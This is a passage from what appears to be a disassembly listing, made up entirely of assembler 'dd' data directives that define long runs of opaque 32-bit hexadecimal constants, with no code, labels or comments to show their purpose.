		dd 9C18C9E8h, 358BD50Fh, 0CAD093C3h, 5C9218A3h,	396F0094h
		dd 0BAA3E00Bh, 0EBB18597h, 421B58DBh, 0E0BC45E4h, 4E04CF27h
		dd 4F00A61Ch, 69E183DAh, 8AAD2DA4h, 64CAE8A2h, 0B5496156h
		dd 22E99E87h, 0C8DC5DE1h, 0A9ADCAEh, 77A58297h,	0F72D3F62h
		dd 0D75B13E1h, 1460AAF2h, 99B50D00h, 80434064h,	13F0D06h
		dd 6A3A324Ah, 0AE5D1F8Fh, 20540EC2h, 5E4BD7D7h,	8725376Bh
		dd 1A882547h, 842198A4h, 0B47402FCh, 52E19A61h,	3D518DDDh
		dd 0CFA3E3A9h, 18AF3670h, 0C83D8C28h, 0D1CEE48Ah, 0BB077F6h
		dd 0A7753E4Dh, 0A0241226h, 44FA79B8h, 34DD2B32h, 6B458604h
		dd 0A0C35203h, 11263AFh, 4B16C34Eh, 91A85064h, 5808BBEDh
		dd 0DC8D72Eh, 490ACA45h, 7A2942C2h, 0C24B6F12h,	65B7B608h
		dd 0DFCC1E0Ch, 0EB666E96h, 0CD3FBEA1h, 0C06A1825h, 37CDB286h
		dd 56381775h, 14E12A64h, 0B8D071BBh, 0B9E33613h, 5904343Eh
		dd 0ADED3B47h, 9225EA28h, 0C725898Fh, 64C3D09Eh, 98E6A8A0h
		dd 59357704h, 2097E18Ch, 5E763FABh, 0C4E8A28Ch,	8F33B0E6h
		dd 0E8A013A5h, 63E5C5D7h, 1DEF7AA3h, 0D2841B11h, 47301727h
		dd 0FABE7E6Dh, 5D4AE45h, 5488894Dh, 0E5D7A687h,	0FE0FFD40h
		dd 1B5F1EB8h, 4AEA0493h, 92AAEED8h, 440506E7h, 6E47CC87h
		dd 789272D5h, 0ABD6DB6Ch, 26E51A06h, 269F69D0h,	60C5E27Ah
		dd 0BEC26A8Bh, 2ABBE537h, 0D4986916h, 27DB31FAh, 0A808BE50h
		dd 0E6DF86E2h, 426A14CBh, 211E75B5h, 6D7F73CFh,	0D0192513h
		dd 4CE919FEh, 0BFC14A0Bh, 0C472957Eh, 55D005F9h, 891F8ADEh
		dd 150BD15Bh, 1EFAD25Dh, 0A79B938Eh, 478B397Bh,	0C78EB071h
		dd 0C6DE5A82h, 0DCFFF7D9h, 0CB071853h, 611F11DAh, 38FC3B7Fh
		dd 58D9467Fh, 0A96B71A3h, 0EDC97CC6h, 1C9BC892h, 5327ED48h
		dd 6E29A3A8h, 751C80F9h, 613A8AB0h, 0D95A41E3h,	810B4911h
		dd 34808F83h, 665AC172h, 7905D4DAh, 23AC31ABh, 0C198219h
		dd 0CC4F1900h, 64DE4647h, 70BC204Ah, 95679BB6h,	0A6C5F312h
		dd 0E9AFBFE4h, 69F46E58h, 42D400C0h, 5CC743Ch, 607F6CF5h
		dd 67FDF3BDh, 67E72390h, 0C837DACEh, 92610718h,	9493BD82h
		dd 2BDFC8CEh, 337734FCh, 688A7A81h, 28F619CBh, 6F80CEABh
		dd 0B08B9A2Dh, 584AA242h, 896B2469h, 0DA262F0Dh, 77D25318h
		dd 48826FA1h, 0BE5E1DB2h, 33A17CEDh, 7DFD03FFh,	45DB0A6Ah
		dd 944871h, 3F810B5Dh, 9F110FDh, 4DF5A7B9h, 75C0A4DDh
		dd 0B28960EBh, 0A78614F4h, 0B1E3555Fh, 5D9F39D7h, 91602A86h
		dd 0E8EF3102h, 0C14AC334h, 28E2E312h, 886A6315h, 126326FFh
		dd 5645FE22h, 3AE3A6B6h, 0C6BA120Eh, 4713E5Ah, 0D413D3BEh
		dd 0F96758C1h, 55254EEAh, 0FAB37598h, 8C78D5B0h, 0BF0AA154h
		dd 774F0A72h, 0CFD0AD95h, 9DCA3A36h, 0CE34D41Ch, 0C523310Ch
		dd 0C46EFAC3h, 0D11D3A08h, 0DAA1DC7Fh, 0A3715E4Bh, 773AEAA0h
		dd 0A047F5ABh, 373BC63Eh, 5D577064h, 18AEF270h,	0E34BE7DEh
		dd 9D39C501h, 0F53BA2A4h, 0B8B606F9h, 0B2BD9F69h, 0A68F1F96h
		dd 915F0C5Eh, 17532719h, 0D994780Dh, 990F4989h,	0B77780F2h
		dd 4DADDD7Dh, 60C2ADB2h, 0AAE1AD2Bh, 120A5EECh,	0AF572ECBh
		dd 0D5B47E6Dh, 0B2E426EBh, 0F448D435h, 0D5AC0404h, 6E11643h
		dd 12AA945Eh, 4FF0D18Eh
		dd 3D9876E2h, 0AF32908Fh, 7CFD2A38h, 82ECBBA1h,	0CB660DC1h
		dd 88830D94h, 0DA2569D4h, 0FE774B09h, 44CBE2CAh, 0E4374909h
		dd 5DA111AFh, 467F8156h, 3373216Bh, 0AF7EF3E4h,	661C9572h
		dd 0F291F9BAh, 0C311A456h, 41E8A14Eh, 85AD43C3h, 3D773ACEh
		dd 7E43EC1Dh, 0BB36FC14h, 3BEEAC04h, 1F6D5B10h,	4BC7AFB7h
		dd 0A43D4E15h, 0A57E2014h, 11934283h, 4EF7AC41h, 0AFD19331h
		dd 0B6D7796Bh, 5CF5D5Fh, 3098B009h, 51B8ED59h, 0BFF95AF0h
		dd 0C56200F8h, 0F8313E7Ch, 4A229CBEh, 0DF8604ACh, 0EFE05F2Dh
		dd 0EADF5D6Eh, 0D145D23h, 52931A92h, 0D0E8CB23h, 0A1DA3608h
		dd 0B07D86F5h, 0DBA4D911h, 0F110CC7Ah, 0EF129FE5h, 0D1D8D4ADh
		dd 0C3220008h, 0A191C7FCh, 1CDDF882h, 0D9F59DBh, 8AC71E1Bh
		dd 0E782DE11h, 0BB44EADFh, 0A98CA06Dh, 1A91121Bh, 430937E6h
		dd 0AFC0D654h, 0A23CB7BEh, 4725BE8Fh, 0AFF35559h, 31E525Ah
		dd 3AF29BEEh, 4C1B0BC4h, 3F96803Ah, 29683835h, 0A92150A8h
		dd 0FD9B6DBCh, 0A63874F8h, 3FFDB329h, 0D98706A0h, 260EE434h
		dd 93313A0Eh, 6ABA4BB5h, 0A1E074A8h, 1E84867Ch,	17CA90D1h
		dd 39365C5Eh, 8FBDD3D1h, 25619016h, 0AE47FB8Ah,	0F662BD3h
		dd 5B2B186Dh, 0E25983ECh, 0C29B5CA7h, 0CF971FEEh, 7B3DE459h
		dd 79BEF070h, 0E1BC76B3h, 943E1789h, 0D01EE876h, 22419DCEh
		dd 6FF77474h, 86C32097h, 3A4088ADh, 7110DA5Bh, 8E35CBE7h
		dd 0B43D4DD2h, 0F7B465C9h, 0D42663F0h, 3B4FFDC3h, 9B7E38AAh
		dd 5A5C4F5Ah, 0B8B5E7D6h, 3DB261F2h, 43720712h,	9942F871h
		dd 905D9D04h, 76A8D5AEh, 97B567BEh, 78A5F736h, 0C39128B1h
		dd 8720094Ah, 31930AB2h, 0AD1FFA97h, 83FEBBF3h,	8A33C9A6h
		dd 0E649E09Ah, 0B319C222h, 7660FFEDh, 0CF8B64C5h, 0B6848A9Eh
		dd 0DC70919Ah, 8C3A39FBh, 0D75FB04Eh, 4222C46Ch, 65B6EC09h
		dd 96E24F30h, 0A79B1B14h, 9BEF4h, 0A8C20F22h, 9B84F050h
		dd 35CF472Ah, 8D92A7ECh, 0C68899Ch, 8A4A98EAh, 31139703h
		dd 4DA79C6Eh, 0E63B39D3h, 0A2E390FAh, 3F498229h, 0D32999A9h
		dd 0CC9BEACCh, 0D6EF0ED8h, 14CE278Bh, 5DAFBB10h, 94AA8D8Fh
		dd 891BF8BCh, 0C03FB8D1h, 0DA094D6Bh, 0A55AE326h, 4BE02F14h
		dd 85BA43CDh, 7C246A4Fh, 8E28138Eh, 2928DF65h, 0CE5CD66Dh
		dd 0A6DA92E5h, 0C17E34F4h, 0F8BAB2BBh, 57862009h, 0B7A4E2D4h
		dd 360A6BFCh, 3C15116Eh, 3A831D6Ah, 4FBF64F6h, 0B03D0EDEh
		dd 2C9A7609h, 71D0A471h, 713205BBh, 0FAB07E31h,	2A6AC259h
		dd 9CC9C399h, 0A702D415h, 73BD6431h, 51A461EEh,	4833350Ah
		dd 64740756h, 68E5F157h, 74CB5121h, 0CEC0050Fh,	0EA70EA67h
		dd 342F6EF4h, 0F6EFAC65h, 95724CC6h, 8F48C354h,	683C83CCh
		dd 32EE0036h, 0C5049700h, 4F02D788h, 0D98D88A0h, 82F51710h
		dd 0F2971845h, 88DCEA49h, 0FB8202ECh, 9BD36F34h, 22E52209h
		dd 7DE8C1FDh, 61E0EB2Dh, 27512EF1h, 0C666AA73h,	91685DD8h
		dd 0D7DA2004h, 473C32EAh, 51A05056h, 4E9BCFEh, 0DF72819Ch
		dd 0CD80AE7Bh, 55F3EB06h, 9CA99754h, 0C4872A5Eh, 4C94531Eh
		dd 6C50C0B0h, 6C4B0AC3h, 3755C719h, 630C011h, 0FC4D30F9h
		dd 9C13DBB7h, 7074A95Bh, 91BA7CFBh, 7D70AB8Ch, 72D424DBh
		dd 4C6A018Ah, 6C2A9D9Eh, 0A03572CFh, 66F475Ch, 69B9067Eh
		dd 59125AC2h, 0C95B9B2Fh, 5D9C96E4h, 3FC114DEh,	0CA06E2A1h
		dd 550AB048h, 48FE05E7h, 3BD415DBh, 0FEBD7Dh, 3FA913ADh
		dd 58E05125h, 0FB3FF77Eh, 0B123E34Eh, 757FB67Ah, 8244095Dh
		dd 0DB298F71h, 7ACF689Ah, 887CC570h, 8FF7C835h,	0E2F83E67h
		dd 0B64428FDh, 7E22D0A9h, 61EB2F55h, 14BEBFC1h,	1917DD80h
		dd 67F401CDh, 80C8922Dh, 89475AA8h, 81C24CACh, 7B47F6DFh
		dd 0EB3C716Ah, 192E35B7h, 0D0FB9531h, 16A79BADh, 329B16DDh
		dd 0EC4EF6F8h, 2B011F17h, 0A5DBB7F0h, 5E2C66C1h, 0BD86328Ah
		dd 2A424FFCh, 23365E8h,	0BEA5DB45h, 3942B862h, 9BF9958h
		dd 1A8569D8h, 0ACA51ACh, 0EE81DE67h, 37338C34h,	3A333254h
		dd 1878EA53h, 37DBCCE4h, 0CBA06FAEh, 0EC3E9814h, 23916E11h
		dd 6D0254Ah, 60D35D6Dh,	274AA930h, 0CED921D7h, 9F8477DAh
		dd 8EC560A9h, 0A262D135h, 2BBB9356h, 17BCAA7Eh,	0AF9F5DC5h
		dd 0C24903C8h, 7DBD410Bh, 5816F4B2h, 3DE5DAF6h,	8F40295Ah
		dd 6C6E62A9h, 49258576h, 14847D29h, 5CC7F4ECh, 0D1F03476h
		dd 0A1336677h, 45076DC2h, 28CF6DEBh, 8127EC37h,	0C6B87BF9h
		dd 26D214Fh, 1AF6EAh, 2FE33DF5h, 3ACA1751h, 0B63E17EDh
		dd 9023F062h, 0DA36F56h, 6C5CF05h, 5BDD6732h, 0B7515B1Dh
		dd 0D1A784FEh, 0A75D7AE8h, 1B36A1D4h, 0F759E64Ch, 0B333B3CEh
		dd 5905A2E7h, 1BE6EFD6h, 111BB424h, 0BBE92541h,	36D9CFD7h
		dd 9BC74AA1h, 9A0BCD27h, 0C64FC664h, 69AE7078h,	588BEFA9h
		dd 93123A97h, 6970EDDBh, 921717D6h, 0BDE4325Ah,	3F44F6D7h
		dd 14C3B87Bh, 9471BC80h, 0F2BCB209h, 0AC9ED426h, 0BFFF8ECEh
		dd 2BE2A18Eh, 884922E3h, 0FD84BB54h, 0EA66F417h, 0C333B53Bh
		dd 6040F3E7h, 59328A9Ch, 0B195A879h, 0C12EDA85h, 6D04A26Ch
		dd 94F2A85Ch, 0EBF14D89h, 33175B6h, 0FAC805A6h,	13D35286h
		dd 0F8B69089h, 824FEE48h, 0EACC62AAh, 0EB94D10Ch, 9E6B4ACAh
		dd 3D00D75Eh, 0F3BF0225h, 0AA2F63ACh, 0CAF2A739h, 0D5FCE476h
		dd 7544D6B2h, 0AEE52DABh, 0D6F8473Bh, 0CC24098h, 33FB00DFh
		dd 0C27F961Ah, 21C44160h, 5BA163E1h, 7CD8C5ACh,	0D2CF4917h
		dd 28875BCCh, 86B794DBh, 0E6DB86A1h, 0BDAE0B4Fh, 0CC435DAFh
		dd 0A0EADF7h, 311029E3h, 0B58DBD80h, 6F3D9AF2h,	0F354F58Eh
		dd 0ABF94AF4h, 9B2068FAh, 0EC4FBA93h, 0BA58FD3Bh, 9F2C835Bh
		dd 0FBF53F53h, 1ED62430h, 82D76396h, 4121AC7Dh,	3EA4E4B2h
		dd 427BA51Ah, 0C13C44CBh, 17ABA862h, 0DAEBAA50h, 0BF75CFABh
		dd 7321F683h, 285919D8h, 0DEDE1971h, 0C5B5ADF6h, 0F584BF68h
		dd 0A8A13345h, 0E2DBCBBh, 3357FC05h, 0ABA3E360h, 79F91E77h
		dd 26931DB3h, 0BC3CAEB2h, 55AA8986h, 43C84BB9h,	5CAE8499h
		dd 0C217A295h, 875D6AEFh, 2D19268Dh, 0D38903A4h, 28FC3282h
		dd 262EF049h, 0D7E6C4ADh, 90D05807h, 0B30E56AAh, 0CE03D00Bh
		dd 0DD443607h, 0DD599C40h, 588BF53Ch, 0FD08FEDAh, 634F4379h
		dd 0CC7432C2h, 0C599AB69h, 0AED16E0Bh, 0F25C58E1h, 0E197653Dh
		dd 1E8AF156h, 0B274B693h, 0EC363F26h, 236F0745h, 0FE6F2C6Eh
		dd 0D8A17231h, 0F87D1681h, 0DE8915D0h, 4851C50Dh, 63309FCAh
		dd 47D4FD9Ah, 0A0C7E850h, 4B0C311Dh, 4BA21660h,	6F7A982h
		dd 7A589418h, 0DA8C1EEFh, 0B7C588A4h, 73EFB9Dh,	0CC9D42F3h
		dd 0C5F81DCFh, 8FD0C5EDh, 0BE349B60h, 16BBBFh, 2646839Dh
		dd 38C64462h, 3B611446h, 8DDE67CCh, 2D64E489h, 3832CA5Ch
		dd 0D7E01D34h, 838224A1h, 307ABBCCh, 490F82AAh,	0D63EE341h
		dd 4204C6FEh, 0F575E4AFh, 0A368794Ah, 4AD261E3h, 3E2D62F9h
		dd 0D9492FFh, 436D6E18h, 8D912846h, 0F66D664Fh,	3691D196h
		dd 3FEDB57Ch, 1D089E7Bh, 1191270Bh, 0C703F287h,	0BCE1AB2Fh
		dd 0E0BF4203h, 1A0C414Fh, 4D66E855h, 5FF5ABEBh,	0A46F835Dh
		dd 66FE9B4Eh, 0B07CD6ADh, 99143643h, 45A233F9h,	1375FFC0h
		dd 0B32707BFh, 27575DD6h, 0DFAC7549h, 0DF1CC9DEh, 6B852495h
		dd 0C4AA3F82h, 352CDCAEh, 0D5079F3h, 16932DFh, 2101D05h
		dd 1FBC4C3Ch, 0CC22D34h
		dd 8D185B7h, 3A7EF766h,	70106193h, 45A148BEh, 0E658A799h
		dd 2A679900h, 0C879B159h, 9649941Dh, 14D5A068h,	7D780757h
		dd 11BFAE4Bh, 0E41E1FDDh, 0EB756FD6h, 9B224AE6h, 125B3548h
		dd 5482AF09h, 0B0ECDAA3h, 0D48E6091h, 796AC7F5h, 0B8864BDFh
		dd 363CCE10h, 829B36E3h, 249D5764h, 510C99D9h, 1E08DDF7h
		dd 807F3D91h, 1CBDE9C8h, 8B6C4855h, 0D054F07Dh,	8382B2FAh
		dd 46CEDE7Ah, 0DAAB9F03h, 7E7F8D95h, 5C71BCC5h,	507CF4AEh
		dd 6FCB39D6h, 270AD6A2h, 20583565h, 9F676AF1h, 2C1E0F21h
		dd 0B1EC38E9h, 1861B391h, 18956E5h, 59CB0216h, 5BF755CBh
		dd 0CD62BEF8h, 0B7AFAB8Ch, 24E4B3AEh, 0E2AFCC9Ch, 7703EA8Eh
		dd 503F806Eh, 7DEFB7EEh, 9CE8CCDAh, 49FC38A2h, 0BB0B3173h
		dd 907DC6E3h, 1AA30CBCh, 33054BC8h, 2DA3B8C7h, 0FC10D82Bh
		dd 19B5AF0Eh, 0CD394DD0h, 0F8BA206Fh, 0DF862826h, 0E1AABBDFh
		dd 31F7ADCEh, 0B69AEAA2h, 0E7C2C267h, 8C8650CAh, 33FAF65Fh
		dd 0FECF4541h, 0E9FF0B85h, 6356AF96h, 0B1F37EF6h, 78659E8h
		dd 6229BDB5h, 0CA488880h, 6A524A0Ah, 4AF52021h,	0ADE9C8DAh
		dd 0D6309441h, 1623F144h, 4D7EC796h, 9B5D636h, 1C280CEEh
		dd 0F1B806E1h, 0DC52F046h, 0C63FD43h, 3E13C371h, 85268D5Dh
		dd 0D5E17B69h, 2919123Eh, 6A07FE64h, 82D0694h, 0D0CE7A9Ah
		dd 4A2BB66Bh, 0ED64FD6h, 6EACDB95h, 0D73CF658h,	0C2DBE4EBh
		dd 9C2A88A4h, 0BC77C4B9h, 19C11211h, 0BB5A33DBh, 9B7E7CA6h
		dd 68C9C1E3h, 8811394Eh, 0EDA711F4h, 0C3B2D14Eh, 532260BFh
		dd 0DF2AFF9Ah, 0A1BDF262h, 0C51E8F4Bh, 1F2E6A32h, 1606F44Eh
		dd 8E637A05h, 9C2AFBE2h, 0A24CD287h, 13A3F16h, 9CD84B20h
		dd 8B5A50C3h, 46645461h, 91D51127h, 0F656347Bh,	37D5D85Ah
		dd 4E97C079h, 8CAB94CDh, 0CF7D3EDBh, 6961865Dh,	8A8AB4E9h
		dd 975FDD9Dh, 6C14219Fh, 0B6AFFEECh, 909174B9h,	2AFB6DD3h
		dd 117C1659h, 9FE37898h, 743610ABh, 7AE2E88Fh, 0CB87DAABh
		dd 63604A12h, 5B938ECDh, 91DD43ECh, 7E7A6586h, 27EA7B1h
		dd 2787EC79h, 0C67BCD78h, 67D7F05Ah, 45D1B654h,	0F3D8B677h
		dd 0C892554Fh, 0A9822A26h, 26F2676Eh, 0B307C50Fh, 2CAD5F20h
		dd 305AF60Bh, 0F65A89ADh, 2D60956Ah, 5AD589CFh,	91F5DDD7h
		dd 0F6D01C8Dh, 66FA6BC0h, 3E019E9Ah, 771592FCh,	48D999FDh
		dd 0C8B7F746h, 0AE72138h, 6307DE51h, 0E2D02539h, 2944D5B0h
		dd 0B8F31806h, 14A66D3h, 9C261CC8h, 0ECCC3726h,	0B0EADD74h
		dd 8423AB29h, 0E2F9610Ch, 0A5D887D1h, 0C0F39490h, 2827F6B4h
		dd 8B902A1Bh, 0AD5DDF04h, 0A405EBA8h, 0F91988CAh, 0F5205AE8h
		dd 473F3718h, 8A8E8C93h, 7B158A1Dh, 7438F8BEh, 0AF140713h
		dd 0C6A78BC9h, 3248824Fh, 658ED113h, 0AD4E1774h, 0BD2421ABh
		dd 1F26DC7Dh, 0F815F469h, 8558E1Fh, 7EB4FD10h, 0A3A97F93h
		dd 93E9D5F6h, 0C35BC206h, 35D01D7Ch, 0CB3A703Bh, 6096DDFFh
		dd 5E2D3B8Fh, 52521F56h, 2FB35A36h, 159C1A5Ch, 0CCD4DBA3h
		dd 7AA6C98Dh, 0AE17587h, 2499B32Ch, 539741E4h, 0F369A3A3h
		dd 0A14ECBE5h, 0A8636731h, 2A28BD26h, 7BEAF0BAh, 0EB5691A1h
		dd 0D9A844D4h, 571A523Ah, 0D9CE9A23h, 3029F84Ah, 0F4E2808Ch
		dd 0B2B3D539h, 74CF491Bh, 0D0F7878Fh, 5AEB3AB3h, 8560CA71h
		dd 0EDE74AA5h, 0D510FF4Dh, 4F5AD578h, 0D86E3CEEh, 0D56E8B15h
		dd 9FF58EFFh, 3332BB2Ah, 3B53662Fh, 453DD0CCh, 2490CD0Fh
		dd 53B6B091h, 69B38A60h, 36FE9900h, 0DEA5C89Ah,	7BB19B6Dh
		dd 8B7C69CDh, 76D5827Bh, 0B3E4FDBBh, 68D74816h,	9E41E3CAh
		dd 493E805Eh, 0F53740DBh, 0FD6F76Bh, 0EB3BD7F8h, 8B5E759h
		dd 96418E43h, 374E52F3h, 0C9D10192h, 411BCBFDh,	1DE766CFh
		dd 19D7FF4Eh, 0F6A7B048h, 9DAADFFFh, 9134670h, 6A8A4535h
		dd 1171A4ADh, 428C9A8Bh, 82914C7Bh, 0C7C5FCEDh,	38FB09E4h
		dd 990E6641h, 17E0128h,	30FD6B27h, 6415D850h, 515BEDD4h
		dd 0B9E360D6h, 0B41364E0h, 39DA4169h, 75588E0Eh, 0A9D1F731h
		dd 0A07D887Ch, 53195989h, 0DBAFAA4Bh, 0D9E22CEFh, 0BEF852B6h
		dd 24B69287h, 20C95E48h, 0FF30EE56h, 8D40A675h,	4D428BBFh
		dd 0CF69FB8Ah, 0EF52F69Eh, 0F61175F0h, 94CD5793h, 48245798h
		dd 0C8696AD1h, 525DD25Fh, 5A677AC9h, 69FBD08Ah,	6F43BA9h
		dd 83DE7C88h, 6BE70DE6h, 60497098h, 2E49E7F1h, 46838858h
		dd 6270D0EEh, 74B4E936h, 0EA2665D6h, 0ED0DDE58h, 0A52402DDh
		dd 5330D80h, 0ED0359CBh, 0F0E0AAAh, 7ABC3AD2h, 27ED8F79h
		dd 0E831F0E9h, 507BE9C2h, 8D6FC950h, 4281A15Eh,	4B5B18AFh
		dd 56FBEB8h, 5BDD2D69h,	772D0BB7h, 29BDFF85h, 823C52C6h
		dd 3856D0FDh, 0FE43F582h, 80A40CB2h, 2293C9E7h,	0B470F665h
		dd 22192E67h, 348A9B88h, 23A96211h, 0FDFB1BAFh,	0E699344Ah
		dd 746AB203h, 8CD8093Ah, 0F4151128h, 357D12CFh,	0F792AE93h
		dd 0B48BF538h, 6305F70Ah, 4DD233CDh, 629928C3h,	8C89C399h
		dd 5DC27F97h, 0ED979D83h, 320A3BDCh, 267AC997h,	50AAFC26h
		dd 7A2F40DEh, 8D7EB76Fh, 1CC2E8A5h, 4D9FE912h, 8F827350h
		dd 0B81290D0h, 0EF2F1B9Ah, 0B4556Dh, 11A3DBE1h,	70878737h
		dd 7427C6A5h, 20545EDh,	233419F9h, 0DADD7D74h, 0AAC2C099h
		dd 111EBBEFh, 0D1CC7DA7h, 977167h, 0F2E5C4A5h, 4CA8D240h
		dd 1D668019h, 0BBC2BC48h, 0B5200A9Eh, 0F77ECBBFh, 7D3EE891h
		dd 0E2140A24h, 72EFBD2Bh, 0BC6A1705h, 0F374FCD2h, 3A5E0EAFh
		dd 4EEC64FFh, 3CDA5E1Bh, 0F5B2BDCFh, 67F5BE2Eh,	0EF4DC461h
		dd 0B5420ED7h, 0E30DBA7Bh, 3E682B16h, 0D37E1EDAh, 4EFCBDDEh
		dd 9F587EE8h, 0B1FEEC6Bh, 50A5A34Dh, 45CC312Eh,	7EB8010h
		dd 7977B942h, 0D07514A9h, 0E3DE7666h, 0A42C3B79h, 10E76C0Dh
		dd 8D55FF4Eh, 9DFABC0Dh, 22E19B28h, 0DDA2DDF9h,	549CC270h
		dd 0C8DFDE9Eh, 0D7EC6F39h, 0F1BC4EC3h, 57DD88BFh, 369F3CA1h
		dd 38185C92h, 456D75FDh, 0A880BCB0h, 0A9A31997h, 0D6971692h
		dd 0B946D715h, 54DEA73h, 0CDF69F74h, 0D1A20447h, 188CA6B0h
		dd 5698C4D2h, 119F5FDAh, 628612BAh, 0FEFB3ADBh,	0F9C05462h
		dd 0F142C2B6h, 76A7A408h, 18DC525Ah, 1CACFEACh,	0AD7271C5h
		dd 0E624F5DDh, 591D926Bh, 8B8916A2h, 4D6F1A7Eh,	8B281BB5h
		dd 0AD60A36Fh, 48B079D6h, 60C358EBh, 1CF5DDC8h,	0CEDA1FF2h
		dd 0B53739FAh, 0C14C16A8h, 0A774C90Eh, 27F00800h, 62845A60h
		dd 925E314Bh, 0BC2DC4DDh, 0FACF106Dh, 0FFC4A3Eh, 91C98C77h
		dd 34024B30h, 0DC367A3Bh, 37E81DD3h, 298D054Bh,	50085EFEh
		dd 58D20F5h, 0B92D0BD9h, 0D2EA371Eh, 8D08FAF5h,	755CC814h
		dd 0E526F1A3h, 0A0E66512h, 0C5B5BF77h, 70771A8h, 84518CCBh
		dd 0D22FD5E5h, 9ED0871Ah, 0FDCCC562h, 5D89BA70h, 0DD0984D8h
		dd 35045142h, 0F94AE2EFh, 0EFB150E3h, 0CD661C6Eh, 9E111F49h
		dd 26B5A719h, 1277ABA5h, 0B15DC450h, 4921F9D8h,	0C96BD6E5h
		dd 7BBBD548h, 73B2C036h, 5039BE13h, 0D2E74446h,	1DD574F7h
		dd 0DDA45557h, 8F2607FDh, 411F337Eh, 0DA8D985Eh, 4D1518Dh
		dd 7EC374BBh, 4D6AE5F8h, 5CCE4FE7h, 5F907E4Eh, 7B38FF63h
		dd 9607D556h, 8D48B5Ch,	5B144C7Dh, 0AA0E13C4h, 913B6959h
		dd 0FDA51A96h, 27659AD8h, 0B977C172h, 0B0E844BDh, 0FBC897Bh
		dd 0AF54F402h, 0EABF7696h, 41B37862h, 58A3C5FCh, 5F429Fh
		dd 0CCBC0585h, 2C92DA4Dh
		dd 79B86631h, 0CF57BF95h, 6C5CDC9Eh, 7C61AE70h,	0BEBD6C49h
		dd 345B12F5h, 3E100D1Ch, 0D057CDCDh, 555E9357h,	139BFC96h
		dd 0CD15A37h, 14A573AEh, 62FB5F33h, 8CCE6129h, 0C21249A5h
		dd 8DC74A29h, 27D1A08Dh, 706F7D36h, 30E197D4h, 0A60C9A7Fh
		dd 285FD733h, 3BC6F006h, 621F460Dh, 46C3AD5Ch, 0E22DFA8Ch
		dd 0C40DA1ABh, 25B0996Dh, 9C18E0C7h, 0E56533E4h, 0E5BEE082h
		dd 0FE54D022h, 4514CA8Fh, 23D28390h, 0D4AA72E9h, 0A3161F96h
		dd 0A495B463h, 5D9B5DCAh, 6A18A4A8h, 0A4E21401h, 7937B3E4h
		dd 8635A22Dh, 40D2EA81h, 61F021F9h, 72B3147h, 6E16CD11h
		dd 0E65BDC1Dh, 2FAAC07h, 1580135Dh, 28F1FE06h, 0FDB030D1h
		dd 0B96F4A0h, 8F0DE0E8h, 0B96BE2E6h, 47DC8DABh,	958028AFh
		dd 5310B1C5h, 360A15CCh, 5670AB6Eh, 0C68E9258h,	0CFA78CBBh
		dd 25EAD35Eh, 0AFBF1F84h, 713DE57Ah, 90BDD944h,	1B8E09DEh
		dd 45900FA3h, 2604C1BAh, 66C3C6E5h, 8959BE46h, 108E10h
		dd 7593589Bh, 400DB534h, 0BD0385EFh, 8A078BEh, 40CC31F7h
		dd 23CB4033h, 12FFD417h, 2E3C8AAFh, 26780144h, 0DF8E7E69h
		dd 0BC6B1B22h, 58BC44D6h, 47613EA7h, 0F43EE3CBh, 2CB79F6Dh
		dd 5FD2144Bh, 0C64CA824h, 0F72BEE05h, 41CE793Ah, 0CACA45DFh
		dd 0B0F2EE1Fh, 0A93B4C71h, 0BB0FF17Fh, 0CA2A4E86h, 0C8F8421Eh
		dd 0F004816Eh, 9099F255h, 94001289h, 43E693B6h,	2EF154B6h
		dd 4D815FEFh, 62825A4Fh, 0C57CF1ADh, 0B8BC9483h, 0DFDDE9B2h
		dd 0B36A9C11h, 9D62B4EEh, 0BF7A32DCh, 868B5646h, 20B9FCE2h
		dd 0DAA47D2Ch, 6E32EB15h, 1B6BAC78h, 2797E690h,	8074765h
		dd 995E90Dh, 576DF276h,	14E862D0h, 11473749h, 388F1F10h
		dd 1C6D23D4h, 66BF0EEEh, 9D2CD9EFh, 0AC899BD0h,	4D9953BBh
		dd 2E3223D8h, 521B1BFBh, 8B589A95h, 93BD2466h, 16D180EAh
		dd 6AF8AFD3h, 9B8795ABh, 7B4DC622h, 2D5AF8B4h, 0FD6EC73Ch
		dd 80B5F5FEh, 0AC77AF60h, 7EEAA93Bh, 0F3440433h, 1508881Ah
		dd 2D990782h, 3E49A3E8h, 0D7CF9927h, 0FE40BFD7h, 0D67BE36Dh
		dd 9752881h, 2E2B4CA0h,	0AF7AB2B1h, 5C54FE44h, 22D5E7B2h
		dd 9A984B8Ah, 484A8791h, 7299D66h, 2293D705h, 48BD08FCh
		dd 0F3643EB8h, 2EEECE3Fh, 0F40F16EEh, 501DBAB5h, 0AF0BCD0Dh
		dd 0AAAD280Eh, 8A782F53h, 125C4533h, 5665690Bh,	0C336F78Bh
		dd 0B0710428h, 9BC30FDEh, 0B0F94A3Fh, 1098B1C2h, 379D2C8Ah
		dd 0A4F85540h, 73CCF240h, 0A15FC960h, 0EBAF4D0Dh, 98E07A25h
		dd 0DD12A67Fh, 1E96F3CAh, 755FF38Fh, 7AACEEA4h,	7EC93544h
		dd 2756665h, 35EEF38Ah,	0AA455912h, 1A5E17DEh, 0E9F042EDh
		dd 0D1E8F787h, 35FAB45Ah, 36384E83h, 90D63ED0h,	0A46EAE6Bh
		dd 3E9E5B62h, 92B7FC7Ah, 7421F7BCh, 0C9D749C1h,	0F69A335Bh
		dd 11977A3Fh, 0F73A3A11h, 433F6C3Fh, 9B24F922h,	41D0A5B5h
		dd 2C42B57Ch, 3AB32AE8h, 88126E7h, 1FC45D8Dh, 78D9227Bh
		dd 0D149A476h, 7321D680h, 0CCE319A2h, 0A9F09587h, 52B74AF0h
		dd 6D0418B1h, 7A85ABB1h, 92B716E7h, 0CC7028A6h,	3CCC03B4h
		dd 47B1BC8Fh, 320731DFh, 7D70DFDCh, 96B6022Ah, 549FD526h
		dd 34291054h, 5AD06100h, 0A9F38620h, 0D3F06433h, 82CAB772h
		dd 221407DFh, 51CAF5E1h, 20F34933h, 4DD42D6Fh, 713379DDh
		dd 0F6C6A66Dh, 0A0069C67h, 23CB78C3h, 8C49CE54h, 0AF3D4E91h
		dd 1265957Dh, 6DB1283h,	4B462B28h, 0DC27C99Ah, 79F9AAE7h
		dd 16220DDEh, 0D39F1B2h, 5A0BDE34h, 0C0D77EC5h,	0C0188357h
		dd 0DE229733h, 0BE404D4Ch, 43CAEA38h, 3047CF6Ah, 32FC7905h
		dd 3AA423Fh, 0C281412h,	3BF93235h, 0A4862BD0h, 6827F4C3h
		dd 0AB10B964h, 14CCF2EDh, 1D0F019h, 0D5320118h,	800889B3h
		dd 24951E25h, 4E71BB87h, 8C16696Ah, 3EBA3C23h, 793FF5F1h
